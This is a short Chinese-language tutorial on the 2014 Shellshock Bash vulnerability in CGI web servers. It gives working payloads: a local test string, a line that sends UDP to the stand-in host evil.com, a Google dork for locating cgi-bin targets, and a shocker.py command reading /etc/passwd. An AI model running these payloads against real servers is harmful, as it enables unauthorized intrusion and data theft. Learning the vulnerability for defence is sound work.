概念介绍

CGI(Common Gateway Interface)用于在Web服务器和应用程序之间传递信息。它允许Web服务器调用外部程序(通常是脚本),并将用户请求传递给这些程序,然后将程序生成的结果返回给用户。

Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。

shellshock存在于Bash(Bourne Again SHell)软件中。这个漏洞允许攻击者通过构造特殊的环境变量,在受影响的系统上执行任意的Shell命令。Shellshock 漏洞曝露了许多Web服务器上运行的CGI脚本的风险,因为这些脚本可能会调用Bash解释器,并由于漏洞而受到攻击。

利用

Shellshock漏洞执行的条件

1、影响的 Bash 版本主要是在 1.14 到 4.3 之间
2、可以猜出/cgi-bin/下目录的文件;例如:/cgi-bin/test-cgi、/cgi-bin/test.sh、/cgi-bin/test.py、/cgi-bin/test.perl等等;
3、/cgi-bin/下的脚本文件通过系统环境变量调用bash的环境;

发现测试

env x=’() { : ;};echo vulnerable’ bash -c “echo test”

解释:

env x='() { : ;};echo vulnerable':这一部分定义了一个名为 x 的环境变量,其值是一个特殊构造的Shell函数。这个Shell函数被设计用于利用Shellshock漏洞。函数的主体是 echo vulnerable,这部分代码会被漏洞利用。

'() { : ;}:这部分是一个函数定义,它的名称是空字符串,紧接着是一对花括号 {}。花括号内的内容是函数体,这里是 : ;,表示一个空操作(: 是一个什么也不做的命令,; 是命令分隔符)。

由于函数的错误定义,在函数之后的命令会被执行。

() { :;}; echo 1 > /dev/udp/evil.com/53

如果服务器存在shellshcok漏洞,则evil.com的53端口会受到一个UDP包

Apache CGI脚本命令执行条件

(1)apacheWeb服务器

(2)mod_cgi需要开启

(3)有xxx.cgi脚本

(4)监听器能接收到连接

在有些CGI脚本的设计中,数据是通过环境变量来传递的,这样就给了数据提供者利用Shellshock漏洞的机会。

而HTTP协议的头User-Agent通常是通过环境变量HTTP_USER_AGENT来传递的。

目标发现

inurl:cgi-bin

CGI-BIN 目录是存放CGI脚本的地方。这些脚本使WWW服务器和浏览器能运行外部程序

利用工具

https://github.com/nccgroup/shocker

python2 shocker.py -H 127.0.0.1 --command "/bin/cat /etc/passwd" -c /cgi-bin/test.cgi